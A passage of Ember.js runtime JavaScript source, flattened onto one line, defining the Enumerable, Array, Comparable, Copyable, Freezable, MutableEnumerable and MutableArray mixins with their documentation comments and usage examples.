function(callback, target) { return this.filter(function() { return !(callback.apply(target, arguments)); }); }, /** Returns an array with just the items with the matched property. You can pass an optional second argument with the target value. Otherwise this will match any property that evaluates to `true`. @method filterProperty @param {String} key the property to test @param {String} [value] optional value to test against. @return {Array} filtered array */ filterProperty: function(key, value) { return this.filter(iter.apply(this, arguments)); }, /** Returns an array with the items that do not have truthy values for key. You can pass an optional second argument with the target value. Otherwise this will match any property that evaluates to false. @method rejectProperty @param {String} key the property to test @param {String} [value] optional value to test against. @return {Array} rejected array */ rejectProperty: function(key, value) { var exactValue = function(item) { return get(item, key) === value; }, hasValue = function(item) { return !!get(item, key); }, use = (arguments.length === 2 ? exactValue : hasValue); return this.reject(use); }, /** Returns the first item in the array for which the callback returns true. This method works similar to the `filter()` method defined in JavaScript 1.6 except that it will stop working on the array once a match is found. The callback method you provide should have the following signature (all parameters are optional): ```javascript function(item, index, enumerable); ``` - `item` is the current item in the iteration. - `index` is the current index in the iteration. - `enumerable` is the enumerable object itself. It should return the `true` to include the item in the results, `false` otherwise. Note that in addition to a callback, you can also pass an optional target object that will be set as `this` on the context. This is a good way to give your iterator function access to the current object. @method find @param {Function} callback The callback to execute @param {Object} [target] The target object to use @return {Object} Found item or `undefined`. */ find: function(callback, target) { var len = get(this, 'length') ; if (target === undefined) target = null; var last = null, next, found = false, ret ; var context = popCtx(); for(var idx=0;idx<len && !found;idx++) { next = this.nextObject(idx, last, context) ; if (found = callback.call(target, next, idx, this)) ret = next ; last = next ; } next = last = null ; context = pushCtx(context); return ret ; }, /** Returns the first item with a property matching the passed value. You can pass an optional second argument with the target value. Otherwise this will match any property that evaluates to `true`. This method works much like the more generic `find()` method. @method findProperty @param {String} key the property to test @param {String} [value] optional value to test against. @return {Object} found item or `undefined` */ findProperty: function(key, value) { return this.find(iter.apply(this, arguments)); }, /** Returns `true` if the passed function returns true for every item in the enumeration. This corresponds with the `every()` method in JavaScript 1.6. The callback method you provide should have the following signature (all parameters are optional): ```javascript function(item, index, enumerable); ``` - `item` is the current item in the iteration. - `index` is the current index in the iteration. - `enumerable` is the enumerable object itself. It should return the `true` or `false`. Note that in addition to a callback, you can also pass an optional target object that will be set as `this` on the context. This is a good way to give your iterator function access to the current object. Example Usage: ```javascript if (people.every(isEngineer)) { Paychecks.addBigBonus(); } ``` @method every @param {Function} callback The callback to execute @param {Object} [target] The target object to use @return {Boolean} */ every: function(callback, target) { return !this.find(function(x, idx, i) { return !callback.call(target, x, idx, i); }); }, /** Returns `true` if the passed property resolves to `true` for all items in the enumerable. This method is often simpler/faster than using a callback. @method everyProperty @param {String} key the property to test @param {String} [value] optional value to test against. @return {Boolean} */ everyProperty: function(key, value) { return this.every(iter.apply(this, arguments)); }, /** Returns `true` if the passed function returns true for any item in the enumeration. This corresponds with the `some()` method in JavaScript 1.6. The callback method you provide should have the following signature (all parameters are optional): ```javascript function(item, index, enumerable); ``` - `item` is the current item in the iteration. - `index` is the current index in the iteration. - `enumerable` is the enumerable object itself. It should return the `true` to include the item in the results, `false` otherwise. Note that in addition to a callback, you can also pass an optional target object that will be set as `this` on the context. This is a good way to give your iterator function access to the current object. Usage Example: ```javascript if (people.some(isManager)) { Paychecks.addBiggerBonus(); } ``` @method some @param {Function} callback The callback to execute @param {Object} [target] The target object to use @return {Array} A filtered array. */ some: function(callback, target) { return !!this.find(function(x, idx, i) { return !!callback.call(target, x, idx, i); }); }, /** Returns `true` if the passed property resolves to `true` for any item in the enumerable. This method is often simpler/faster than using a callback. @method someProperty @param {String} key the property to test @param {String} [value] optional value to test against. @return {Boolean} `true` */ someProperty: function(key, value) { return this.some(iter.apply(this, arguments)); }, /** This will combine the values of the enumerator into a single value. It is a useful way to collect a summary value from an enumeration. This corresponds to the `reduce()` method defined in JavaScript 1.8. The callback method you provide should have the following signature (all parameters are optional): ```javascript function(previousValue, item, index, enumerable); ``` - `previousValue` is the value returned by the last call to the iterator. - `item` is the current item in the iteration. - `index` is the current index in the iteration. - `enumerable` is the enumerable object itself. Return the new cumulative value. In addition to the callback you can also pass an `initialValue`. An error will be raised if you do not pass an initial value and the enumerator is empty. Note that unlike the other methods, this method does not allow you to pass a target object to set as this for the callback. It's part of the spec. Sorry. @method reduce @param {Function} callback The callback to execute @param {Object} initialValue Initial value for the reduce @param {String} reducerProperty internal use only. @return {Object} The reduced value. */ reduce: function(callback, initialValue, reducerProperty) { if (typeof callback !== "function") { throw new TypeError(); } var ret = initialValue; this.forEach(function(item, i) { ret = callback.call(null, ret, item, i, this, reducerProperty); }, this); return ret; }, /** Invokes the named method on every object in the receiver that implements it. This method corresponds to the implementation in Prototype 1.6. @method invoke @param {String} methodName the name of the method @param {Object...} args optional arguments to pass as well. @return {Array} return values from calling invoke. */ invoke: function(methodName) { var args, ret = []; if (arguments.length>1) args = a_slice.call(arguments, 1); this.forEach(function(x, idx) { var method = x && x[methodName]; if ('function' === typeof method) { ret[idx] = args ? method.apply(x, args) : method.call(x); } }, this); return ret; }, /** Simply converts the enumerable into a genuine array. The order is not guaranteed. Corresponds to the method implemented by Prototype. @method toArray @return {Array} the enumerable as an array. */ toArray: function() { var ret = []; this.forEach(function(o, idx) { ret[idx] = o; }); return ret ; }, /** Returns a copy of the array with all null elements removed. ```javascript var arr = ["a", null, "c", null]; arr.compact(); // ["a", "c"] ``` @method compact @return {Array} the array without null elements. */ compact: function() { return this.without(null); }, /** Returns a new enumerable that excludes the passed value. The default implementation returns an array regardless of the receiver type unless the receiver does not contain the value. ```javascript var arr = ["a", "b", "a", "c"]; arr.without("a"); // ["b", "c"] ``` @method without @param {Object} value @return {Ember.Enumerable} */ without: function(value) { if (!this.contains(value)) return this; // nothing to do var ret = [] ; this.forEach(function(k) { if (k !== value) ret[ret.length] = k; }) ; return ret ; }, /** Returns a new enumerable that contains only unique values. The default implementation returns an array regardless of the receiver type. ```javascript var arr = ["a", "a", "b", "b"]; arr.uniq(); // ["a", "b"] ``` @method uniq @return {Ember.Enumerable} */ uniq: function() { var ret = []; this.forEach(function(k){ if (a_indexOf(ret, k)<0) ret.push(k); }); return ret; }, /** This property will trigger anytime the enumerable's content changes. You can observe this property to be notified of changes to the enumerables content. For plain enumerables, this property is read only. `Ember.Array` overrides this method. @property [] @type Ember.Array */ '[]': Ember.computed(function(key, value) { return this; }), // .......................................................... // ENUMERABLE OBSERVERS // /** Registers an enumerable observer. Must implement `Ember.EnumerableObserver` mixin. @method addEnumerableObserver @param target {Object} @param opts {Hash} */ addEnumerableObserver: function(target, opts) { var willChange = (opts && opts.willChange) || 'enumerableWillChange', didChange = (opts && opts.didChange) || 'enumerableDidChange'; var hasObservers = get(this, 'hasEnumerableObservers'); if (!hasObservers) Ember.propertyWillChange(this, 'hasEnumerableObservers'); Ember.addListener(this, '@enumerable:before', target, willChange); Ember.addListener(this, '@enumerable:change', target, didChange); if (!hasObservers) Ember.propertyDidChange(this, 'hasEnumerableObservers'); return this; }, /** Removes a registered enumerable observer. @method removeEnumerableObserver @param target {Object} @param [opts] {Hash} */ removeEnumerableObserver: function(target, opts) { var willChange = (opts && opts.willChange) || 'enumerableWillChange', didChange = (opts && opts.didChange) || 'enumerableDidChange'; var hasObservers = get(this, 'hasEnumerableObservers'); if (hasObservers) Ember.propertyWillChange(this, 'hasEnumerableObservers'); Ember.removeListener(this, '@enumerable:before', target, willChange); Ember.removeListener(this, '@enumerable:change', target, didChange); if (hasObservers) Ember.propertyDidChange(this, 'hasEnumerableObservers'); return this; }, /** Becomes true whenever the array currently has observers watching changes on the array. @property hasEnumerableObservers @type Boolean */ hasEnumerableObservers: Ember.computed(function() { return Ember.hasListeners(this, '@enumerable:change') || Ember.hasListeners(this, '@enumerable:before'); }), /** Invoke this method just before the contents of your enumerable will change. You can either omit the parameters completely or pass the objects to be removed or added if available or just a count. @method enumerableContentWillChange @param {Ember.Enumerable|Number} removing An enumerable of the objects to be removed or the number of items to be removed. @param {Ember.Enumerable|Number} adding An enumerable of the objects to be added or the number of items to be added. @chainable */ enumerableContentWillChange: function(removing, adding) { var removeCnt, addCnt, hasDelta; if ('number' === typeof removing) removeCnt = removing; else if (removing) removeCnt = get(removing, 'length'); else removeCnt = removing = -1; if ('number' === typeof adding) addCnt = adding; else if (adding) addCnt = get(adding,'length'); else addCnt = adding = -1; hasDelta = addCnt<0 || removeCnt<0 || addCnt-removeCnt!==0; if (removing === -1) removing = null; if (adding === -1) adding = null; Ember.propertyWillChange(this, '[]'); if (hasDelta) Ember.propertyWillChange(this, 'length'); Ember.sendEvent(this, '@enumerable:before', [this, removing, adding]); return this; }, /** Invoke this method when the contents of your enumerable has changed. This will notify any observers watching for content changes. If your are implementing an ordered enumerable (such as an array), also pass the start and end values where the content changed so that it can be used to notify range observers. @method enumerableContentDidChange @param {Number} [start] optional start offset for the content change. For unordered enumerables, you should always pass -1. @param {Ember.Enumerable|Number} removing An enumerable of the objects to be removed or the number of items to be removed. @param {Ember.Enumerable|Number} adding An enumerable of the objects to be added or the number of items to be added. @chainable */ enumerableContentDidChange: function(removing, adding) { var notify = this.propertyDidChange, removeCnt, addCnt, hasDelta; if ('number' === typeof removing) removeCnt = removing; else if (removing) removeCnt = get(removing, 'length'); else removeCnt = removing = -1; if ('number' === typeof adding) addCnt = adding; else if (adding) addCnt = get(adding, 'length'); else addCnt = adding = -1; hasDelta = addCnt<0 || removeCnt<0 || addCnt-removeCnt!==0; if (removing === -1) removing = null; if (adding === -1) adding = null; Ember.sendEvent(this, '@enumerable:change', [this, removing, adding]); if (hasDelta) Ember.propertyDidChange(this, 'length'); Ember.propertyDidChange(this, '[]'); return this ; } }) ; })(); (function() { /** @module ember @submodule ember-runtime */ // .......................................................... // HELPERS // var get = Ember.get, set = Ember.set, meta = Ember.meta, map = Ember.EnumerableUtils.map, cacheFor = Ember.cacheFor; function none(obj) { return obj===null || obj===undefined; } // .......................................................... // ARRAY // /** This module implements Observer-friendly Array-like behavior. This mixin is picked up by the Array class as well as other controllers, etc. that want to appear to be arrays. Unlike `Ember.Enumerable,` this mixin defines methods specifically for collections that provide index-ordered access to their contents. When you are designing code that needs to accept any kind of Array-like object, you should use these methods instead of Array primitives because these will properly notify observers of changes to the array. Although these methods are efficient, they do add a layer of indirection to your application so it is a good idea to use them only when you need the flexibility of using both true JavaScript arrays and "virtual" arrays such as controllers and collections. You can use the methods defined in this module to access and modify array contents in a KVO-friendly way. You can also be notified whenever the membership if an array changes by changing the syntax of the property to `.observes('*myProperty.[]')`. To support `Ember.Array` in your own class, you must override two primitives to use it: `replace()` and `objectAt()`. Note that the Ember.Array mixin also incorporates the `Ember.Enumerable` mixin. All `Ember.Array`-like objects are also enumerable. @class Array @namespace Ember @extends Ember.Mixin @uses Ember.Enumerable @since Ember 0.9.0 */ Ember.Array = Ember.Mixin.create(Ember.Enumerable, /** @scope Ember.Array.prototype */ { // compatibility isSCArray: true, /** Your array must support the `length` property. Your replace methods should set this property whenever it changes. @property {Number} length */ length: Ember.required(), /** Returns the object at the given `index`. If the given `index` is negative or is greater or equal than the array length, returns `undefined`. This is one of the primitives you must implement to support `Ember.Array`. If your object supports retrieving the value of an array item using `get()` (i.e. `myArray.get(0)`), then you do not need to implement this method yourself. ```javascript var arr = ['a', 'b', 'c', 'd']; arr.objectAt(0); // "a" arr.objectAt(3); // "d" arr.objectAt(-1); // undefined arr.objectAt(4); // undefined arr.objectAt(5); // undefined ``` @method objectAt @param {Number} idx The index of the item to return. */ objectAt: function(idx) { if ((idx < 0) || (idx>=get(this, 'length'))) return undefined ; return get(this, idx); }, /** This returns the objects at the specified indexes, using `objectAt`. ```javascript var arr = ['a', 'b', 'c', 'd']; arr.objectsAt([0, 1, 2]); // ["a", "b", "c"] arr.objectsAt([2, 3, 4]); // ["c", "d", undefined] ``` @method objectsAt @param {Array} indexes An array of indexes of items to return. */ objectsAt: function(indexes) { var self = this; return map(indexes, function(idx){ return self.objectAt(idx); }); }, // overrides Ember.Enumerable version nextObject: function(idx) { return this.objectAt(idx); }, /** This is the handler for the special array content property. If you get this property, it will return this. If you set this property it a new array, it will replace the current content. This property overrides the default property defined in `Ember.Enumerable`. @property [] */ '[]': Ember.computed(function(key, value) { if (value !== undefined) this.replace(0, get(this, 'length'), value) ; return this ; }), firstObject: Ember.computed(function() { return this.objectAt(0); }), lastObject: Ember.computed(function() { return this.objectAt(get(this, 'length')-1); }), // optimized version from Enumerable contains: function(obj){ return this.indexOf(obj) >= 0; }, // Add any extra methods to Ember.Array that are native to the built-in Array. /** Returns a new array that is a slice of the receiver. This implementation uses the observable array methods to retrieve the objects for the new slice. ```javascript var arr = ['red', 'green', 'blue']; arr.slice(0); // ['red', 'green', 'blue'] arr.slice(0, 2); // ['red', 'green'] arr.slice(1, 100); // ['green', 'blue'] ``` @method slice @param beginIndex {Integer} (Optional) index to begin slicing from. @param endIndex {Integer} (Optional) index to end the slice at. @return {Array} New array with specified slice */ slice: function(beginIndex, endIndex) { var ret = []; var length = get(this, 'length') ; if (none(beginIndex)) beginIndex = 0 ; if (none(endIndex) || (endIndex > length)) endIndex = length ; while(beginIndex < endIndex) { ret[ret.length] = this.objectAt(beginIndex++) ; } return ret ; }, /** Returns the index of the given object's first occurrence. If no `startAt` argument is given, the starting location to search is 0. If it's negative, will count backward from the end of the array. Returns -1 if no match is found. ```javascript var arr = ["a", "b", "c", "d", "a"]; arr.indexOf("a"); // 0 arr.indexOf("z"); // -1 arr.indexOf("a", 2); // 4 arr.indexOf("a", -1); // 4 arr.indexOf("b", 3); // -1 arr.indexOf("a", 100); // -1 ``` @method indexOf @param {Object} object the item to search for @param {Number} startAt optional starting location to search, default 0 @return {Number} index or -1 if not found */ indexOf: function(object, startAt) { var idx, len = get(this, 'length'); if (startAt === undefined) startAt = 0; if (startAt < 0) startAt += len; for(idx=startAt;idx<len;idx++) { if (this.objectAt(idx, true) === object) return idx ; } return -1; }, /** Returns the index of the given object's last occurrence. If no `startAt` argument is given, the search starts from the last position. If it's negative, will count backward from the end of the array. Returns -1 if no match is found. ```javascript var arr = ["a", "b", "c", "d", "a"]; arr.lastIndexOf("a"); // 4 arr.lastIndexOf("z"); // -1 arr.lastIndexOf("a", 2); // 0 arr.lastIndexOf("a", -1); // 4 arr.lastIndexOf("b", 3); // 1 arr.lastIndexOf("a", 100); // 4 ``` @method lastIndexOf @param {Object} object the item to search for @param {Number} startAt optional starting location to search, default 0 @return {Number} index or -1 if not found */ lastIndexOf: function(object, startAt) { var idx, len = get(this, 'length'); if (startAt === undefined || startAt >= len) startAt = len-1; if (startAt < 0) startAt += len; for(idx=startAt;idx>=0;idx--) { if (this.objectAt(idx) === object) return idx ; } return -1; }, // .......................................................... // ARRAY OBSERVERS // /** Adds an array observer to the receiving array. The array observer object normally must implement two methods: * `arrayWillChange(start, removeCount, addCount)` - This method will be called just before the array is modified. * `arrayDidChange(start, removeCount, addCount)` - This method will be called just after the array is modified. Both callbacks will be passed the starting index of the change as well a a count of the items to be removed and added. You can use these callbacks to optionally inspect the array during the change, clear caches, or do any other bookkeeping necessary. In addition to passing a target, you can also include an options hash which you can use to override the method names that will be invoked on the target. @method addArrayObserver @param {Object} target The observer object. @param {Hash} opts Optional hash of configuration options including `willChange`, `didChange`, and a `context` option. @return {Ember.Array} receiver */ addArrayObserver: function(target, opts) { var willChange = (opts && opts.willChange) || 'arrayWillChange', didChange = (opts && opts.didChange) || 'arrayDidChange'; var hasObservers = get(this, 'hasArrayObservers'); if (!hasObservers) Ember.propertyWillChange(this, 'hasArrayObservers'); Ember.addListener(this, '@array:before', target, willChange); Ember.addListener(this, '@array:change', target, didChange); if (!hasObservers) Ember.propertyDidChange(this, 'hasArrayObservers'); return this; }, /** Removes an array observer from the object if the observer is current registered. Calling this method multiple times with the same object will have no effect. @method removeArrayObserver @param {Object} target The object observing the array. @return {Ember.Array} receiver */ removeArrayObserver: function(target, opts) { var willChange = (opts && opts.willChange) || 'arrayWillChange', didChange = (opts && opts.didChange) || 'arrayDidChange'; var hasObservers = get(this, 'hasArrayObservers'); if (hasObservers) Ember.propertyWillChange(this, 'hasArrayObservers'); Ember.removeListener(this, '@array:before', target, willChange); Ember.removeListener(this, '@array:change', target, didChange); if (hasObservers) Ember.propertyDidChange(this, 'hasArrayObservers'); return this; }, /** Becomes true whenever the array currently has observers watching changes on the array. @property Boolean */ hasArrayObservers: Ember.computed(function() { return Ember.hasListeners(this, '@array:change') || Ember.hasListeners(this, '@array:before'); }), /** If you are implementing an object that supports `Ember.Array`, call this method just before the array content changes to notify any observers and invalidate any related properties. Pass the starting index of the change as well as a delta of the amounts to change. @method arrayContentWillChange @param {Number} startIdx The starting index in the array that will change. @param {Number} removeAmt The number of items that will be removed. If you pass `null` assumes 0 @param {Number} addAmt The number of items that will be added If you pass `null` assumes 0. @return {Ember.Array} receiver */ arrayContentWillChange: function(startIdx, removeAmt, addAmt) { // if no args are passed assume everything changes if (startIdx===undefined) { startIdx = 0; removeAmt = addAmt = -1; } else { if (removeAmt === undefined) removeAmt=-1; if (addAmt === undefined) addAmt=-1; } // Make sure the @each proxy is set up if anyone is observing @each if (Ember.isWatching(this, '@each')) { get(this, '@each'); } Ember.sendEvent(this, '@array:before', [this, startIdx, removeAmt, addAmt]); var removing, lim; if (startIdx>=0 && removeAmt>=0 && get(this, 'hasEnumerableObservers')) { removing = []; lim = startIdx+removeAmt; for(var idx=startIdx;idx<lim;idx++) removing.push(this.objectAt(idx)); } else { removing = removeAmt; } this.enumerableContentWillChange(removing, addAmt); return this; }, arrayContentDidChange: function(startIdx, removeAmt, addAmt) { // if no args are passed assume everything changes if (startIdx===undefined) { startIdx = 0; removeAmt = addAmt = -1; } else { if (removeAmt === undefined) removeAmt=-1; if (addAmt === undefined) addAmt=-1; } var adding, lim; if (startIdx>=0 && addAmt>=0 && get(this, 'hasEnumerableObservers')) { adding = []; lim = startIdx+addAmt; for(var idx=startIdx;idx<lim;idx++) adding.push(this.objectAt(idx)); } else { adding = addAmt; } this.enumerableContentDidChange(removeAmt, adding); Ember.sendEvent(this, '@array:change', [this, startIdx, removeAmt, addAmt]); var length = get(this, 'length'), cachedFirst = cacheFor(this, 'firstObject'), cachedLast = cacheFor(this, 'lastObject'); if (this.objectAt(0) !== cachedFirst) { Ember.propertyWillChange(this, 'firstObject'); Ember.propertyDidChange(this, 'firstObject'); } if (this.objectAt(length-1) !== cachedLast) { Ember.propertyWillChange(this, 'lastObject'); Ember.propertyDidChange(this, 'lastObject'); } return this; }, // .......................................................... // ENUMERATED PROPERTIES // /** Returns a special object that can be used to observe individual properties on the array. Just get an equivalent property on this object and it will return an enumerable that maps automatically to the named key on the member objects. @property @each */ '@each': Ember.computed(function() { if (!this.__each) this.__each = new Ember.EachProxy(this); return this.__each; }) }) ; })(); (function() { /** @module ember @submodule ember-runtime */ /** Implements some standard methods for comparing objects. Add this mixin to any class you create that can compare its instances. You should implement the `compare()` method. @class Comparable @namespace Ember @extends Ember.Mixin @since Ember 0.9 */ Ember.Comparable = Ember.Mixin.create( /** @scope Ember.Comparable.prototype */{ /** walk like a duck. Indicates that the object can be compared. @property isComparable @type Boolean @default true */ isComparable: true, /** Override to return the result of the comparison of the two parameters. The compare method should return: - `-1` if `a < b` - `0` if `a == b` - `1` if `a > b` Default implementation raises an exception. @method compare @param a {Object} the first object to compare @param b {Object} the second object to compare @return {Integer} the result of the comparison */ compare: Ember.required(Function) }); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set; /** Implements some standard methods for copying an object. Add this mixin to any object you create that can create a copy of itself. This mixin is added automatically to the built-in array. You should generally implement the `copy()` method to return a copy of the receiver. Note that `frozenCopy()` will only work if you also implement `Ember.Freezable`. @class Copyable @namespace Ember @extends Ember.Mixin @since Ember 0.9 */ Ember.Copyable = Ember.Mixin.create( /** @scope Ember.Copyable.prototype */ { /** Override to return a copy of the receiver. Default implementation raises an exception. @method copy @param deep {Boolean} if `true`, a deep copy of the object should be made @return {Object} copy of receiver */ copy: Ember.required(Function), /** If the object implements `Ember.Freezable`, then this will return a new copy if the object is not frozen and the receiver if the object is frozen. Raises an exception if you try to call this method on a object that does not support freezing. You should use this method whenever you want a copy of a freezable object since a freezable object can simply return itself without actually consuming more memory. @method frozenCopy @return {Object} copy of receiver or receiver */ frozenCopy: function() { if (Ember.Freezable && Ember.Freezable.detect(this)) { return get(this, 'isFrozen') ? this : this.copy().freeze(); } else { throw new Error(Ember.String.fmt("%@ does not support freezing", [this])); } } }); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set; /** The `Ember.Freezable` mixin implements some basic methods for marking an object as frozen. Once an object is frozen it should be read only. No changes may be made the internal state of the object. ## Enforcement To fully support freezing in your subclass, you must include this mixin and override any method that might alter any property on the object to instead raise an exception. You can check the state of an object by checking the `isFrozen` property. Although future versions of JavaScript may support language-level freezing object objects, that is not the case today. Even if an object is freezable, it is still technically possible to modify the object, even though it could break other parts of your application that do not expect a frozen object to change. It is, therefore, very important that you always respect the `isFrozen` property on all freezable objects. ## Example Usage The example below shows a simple object that implement the `Ember.Freezable` protocol. ```javascript Contact = Ember.Object.extend(Ember.Freezable, { firstName: null, lastName: null, // swaps the names swapNames: function() { if (this.get('isFrozen')) throw Ember.FROZEN_ERROR; var tmp = this.get('firstName'); this.set('firstName', this.get('lastName')); this.set('lastName', tmp); return this; } }); c = Context.create({ firstName: "John", lastName: "Doe" }); c.swapNames(); // returns c c.freeze(); c.swapNames(); // EXCEPTION ``` ## Copying Usually the `Ember.Freezable` protocol is implemented in cooperation with the `Ember.Copyable` protocol, which defines a `frozenCopy()` method that will return a frozen object, if the object implements this method as well. @class Freezable @namespace Ember @extends Ember.Mixin @since Ember 0.9 */ Ember.Freezable = Ember.Mixin.create( /** @scope Ember.Freezable.prototype */ { /** Set to `true` when the object is frozen. Use this property to detect whether your object is frozen or not. @property isFrozen @type Boolean */ isFrozen: false, /** Freezes the object. Once this method has been called the object should no longer allow any properties to be edited. @method freeze @return {Object} receiver */ freeze: function() { if (get(this, 'isFrozen')) return this; set(this, 'isFrozen', true); return this; } }); Ember.FROZEN_ERROR = "Frozen object cannot be modified."; })(); (function() { /** @module ember @submodule ember-runtime */ var forEach = Ember.EnumerableUtils.forEach; /** This mixin defines the API for modifying generic enumerables. These methods can be applied to an object regardless of whether it is ordered or unordered. Note that an Enumerable can change even if it does not implement this mixin. For example, a MappedEnumerable cannot be directly modified but if its underlying enumerable changes, it will change also. ## Adding Objects To add an object to an enumerable, use the `addObject()` method. This method will only add the object to the enumerable if the object is not already present and the object if of a type supported by the enumerable. ```javascript set.addObject(contact); ``` ## Removing Objects To remove an object form an enumerable, use the `removeObject()` method. This will only remove the object if it is already in the enumerable, otherwise this method has no effect. ```javascript set.removeObject(contact); ``` ## Implementing In Your Own Code If you are implementing an object and want to support this API, just include this mixin in your class and implement the required methods. In your unit tests, be sure to apply the Ember.MutableEnumerableTests to your object. @class MutableEnumerable @namespace Ember @extends Ember.Mixin @uses Ember.Enumerable */ Ember.MutableEnumerable = Ember.Mixin.create(Ember.Enumerable, /** @scope Ember.MutableEnumerable.prototype */ { /** __Required.__ You must implement this method to apply this mixin. Attempts to add the passed object to the receiver if the object is not already present in the collection. If the object is present, this method has no effect. If the passed object is of a type not supported by the receiver then this method should raise an exception. @method addObject @param {Object} object The object to add to the enumerable. @return {Object} the passed object */ addObject: Ember.required(Function), /** Adds each object in the passed enumerable to the receiver. @method addObjects @param {Ember.Enumerable} objects the objects to add. @return {Object} receiver */ addObjects: function(objects) { Ember.beginPropertyChanges(this); forEach(objects, function(obj) { this.addObject(obj); }, this); Ember.endPropertyChanges(this); return this; }, /** __Required.__ You must implement this method to apply this mixin. Attempts to remove the passed object from the receiver collection if the object is in present in the collection. If the object is not present, this method has no effect. If the passed object is of a type not supported by the receiver then this method should raise an exception. @method removeObject @param {Object} object The object to remove from the enumerable. @return {Object} the passed object */ removeObject: Ember.required(Function), /** Removes each objects in the passed enumerable from the receiver. @method removeObjects @param {Ember.Enumerable} objects the objects to remove @return {Object} receiver */ removeObjects: function(objects) { Ember.beginPropertyChanges(this); forEach(objects, function(obj) { this.removeObject(obj); }, this); Ember.endPropertyChanges(this); return this; } }); })(); (function() { /** @module ember @submodule ember-runtime */ // .......................................................... // CONSTANTS // var OUT_OF_RANGE_EXCEPTION = "Index out of range" ; var EMPTY = []; // .......................................................... // HELPERS // var get = Ember.get, set = Ember.set, forEach = Ember.EnumerableUtils.forEach; /** This mixin defines the API for modifying array-like objects. These methods can be applied only to a collection that keeps its items in an ordered set. Note that an Array can change even if it does not implement this mixin. For example, one might implement a SparseArray that cannot be directly modified, but if its underlying enumerable changes, it will change also. @class MutableArray @namespace Ember @extends Ember.Mixin @uses Ember.Array @uses Ember.MutableEnumerable */ Ember.MutableArray = Ember.Mixin.create(Ember.Array, Ember.MutableEnumerable, /** @scope Ember.MutableArray.prototype */ { /** __Required.__ You must implement this method to apply this mixin. This is one of the primitives you must implement to support `Ember.Array`. You should replace amt objects started at idx with the objects in the passed array. You should also call `this.enumerableContentDidChange()` @method replace @param {Number} idx Starting index in the array to replace. If idx >= length, then append to the end of the array. @param {Number} amt Number of elements that should be removed from the array, starting at *idx*. @param {Array} objects An array of zero or more objects that should be inserted into the array at *idx* */ replace: Ember.required(), /** Remove all elements from self. This is useful if you want to reuse an existing array without having to recreate it. ```javascript var colors = ["red", "green", "blue"]; color.length(); // 3 colors.clear(); // [] colors.length(); // 0 ``` @method clear @return {Ember.Array} An empty Array. */ clear: function () { var len = get(this, 'length'); if (len === 0) return this; this.replace(0, len, EMPTY); return this; }, /** This will use the primitive `replace()` method to insert an object at the specified index. ```javascript var colors = ["red", "green", "blue"]; colors.insertAt(2, "yellow"); // ["red", "green", "yellow", "blue"] colors.insertAt(5, "orange"); // Error: Index out of range ``` @method insertAt @param {Number} idx index of insert the object at. @param {Object} object object to insert */ insertAt: function(idx, object) { if (idx > get(this, 'length')) throw new Error(OUT_OF_RANGE_EXCEPTION) ; this.replace(idx, 0, [object]) ; return this ; }, /** Remove an object at the specified index using the `replace()` primitive method. You can pass either a single index, or a start and a length. If you pass a start and length that is beyond the length this method will throw an `Ember.OUT_OF_RANGE_EXCEPTION` ```javascript var colors = ["red", "green", "blue", "yellow", "orange"]; colors.removeAt(0); // ["green", "blue", "yellow", "orange"] colors.removeAt(2, 2); // ["green", "blue"] colors.removeAt(4, 2); // Error: Index out of range ``` @method removeAt @param {Number} start index, start of range @param {Number} len length of passing range @return {Object} receiver */ removeAt: function(start, len) { if ('number' === typeof start) { if ((start < 0) || (start >= get(this, 'length'))) { throw new Error(OUT_OF_RANGE_EXCEPTION); } // fast case if (len === undefined) len = 1; this.replace(start, len, EMPTY); } return this ; }, /** Push the object onto the end of the array. Works just like `push()` but it is KVO-compliant. ```javascript var colors = ["red", "green", "blue"]; colors.pushObject("black"); // ["red", "green", "blue", "black"] colors.pushObject(["yellow", "orange"]); // ["red", "green", "blue", "black", ["yellow", "orange"]] ``` @method pushObject @param {anything} obj object to push */ pushObject: function(obj) { this.insertAt(get(this, 'length'), obj) ; return obj ; }, /** Add the objects in the passed numerable to the end of the array. Defers notifying observers of the change until all objects are added. ```javascript var colors = ["red", "green", "blue"]; colors.pushObjects("black"); // ["red", "green", "blue", "black"] colors.pushObjects(["yellow", "orange"]); // ["red", "green", "blue", "black", "yellow", "orange"] ``` @method pushObjects @param {Ember.Enumerable} objects the objects to add @return {Ember.Array} receiver */ pushObjects: function(objects) { this.replace(get(this, 'length'), 0, objects); return this; }, /** Pop object from array or nil if none are left. Works just like `pop()` but it is KVO-compliant. ```javascript var colors = ["red", "green", "blue"]; colors.popObject(); // "blue" console.log(colors); // ["red", "green"] ``` @method popObject @return object */ popObject: function() { var len = get(this, 'length') ; if (len === 0) return null ; var ret = this.objectAt(len-1) ; this.removeAt(len-1, 1) ; return ret ; }, /** Shift an object from start of array or nil if none are left. Works just like `shift()` but it is KVO-compliant. ```javascript var colors = ["red", "green", "blue"]; colors.shiftObject(); // "red" console.log(colors); // ["green", "blue"] ``` @method shiftObject @return object */ shiftObject: function() { if (get(this, 'length') === 0) return null ; var ret = this.objectAt(0) ; this.removeAt(0) ; return ret ; }, /** Unshift an object to start of array. Works just like `unshift()` but it is KVO-compliant. ```javascript var colors = ["red", "green", "blue"]; colors.unshiftObject("yellow"); // ["yellow", "red", "green", "blue"] colors.unshiftObject(["black", "white"]); // [["black", "white"], "yellow", "red", "green", "blue"] ``` @method unshiftObject @param {anything} obj object to unshift */ unshiftObject: function(obj) { this.insertAt(0, obj) ; return obj ; }, /** Adds the named objects to the beginning of the array. Defers notifying observers until all objects have been added. ```javascript var colors = ["red", "green", "blue"]; colors.unshiftObjects(["black", "white"]); // ["black", "white", "red", "green", "blue"] colors.unshiftObjects("yellow"); // Type Error: 'undefined' is not a function ``` @method unshiftObjects @param {Ember.Enumerable} objects the objects to add @return {Ember.Array} receiver */ unshiftObjects: function(objects) { this.replace(0, 0, objects); return this; }, /** Reverse objects in the array. Works just like `reverse()` but it is KVO-compliant. @method reverseObjects @return {Ember.Array} receiver */ reverseObjects: function() { var len = get(this, 'length'); if (len === 0) return this; var objects = this.toArray().reverse(); this.replace(0, len, objects); return this; }, /** Replace all the the receiver's content with content of the argument. If argument is an empty array receiver will be cleared. ```javascript var colors = ["red", "green", "blue"]; colors.setObjects(["black", "white"]); // ["black", "white"] colors.setObjects([]); // [] ``` @method setObjects @param {Ember.Array} objects array whose content will be used for replacing the content of the receiver @return {Ember.Array} receiver with the new content */ setObjects: function(objects) { if (objects.length === 0) return this.clear(); var len = get(this, 'length'); this.replace(0, len, objects); return this; }, // .......................................................... // IMPLEMENT Ember.MutableEnumerable // 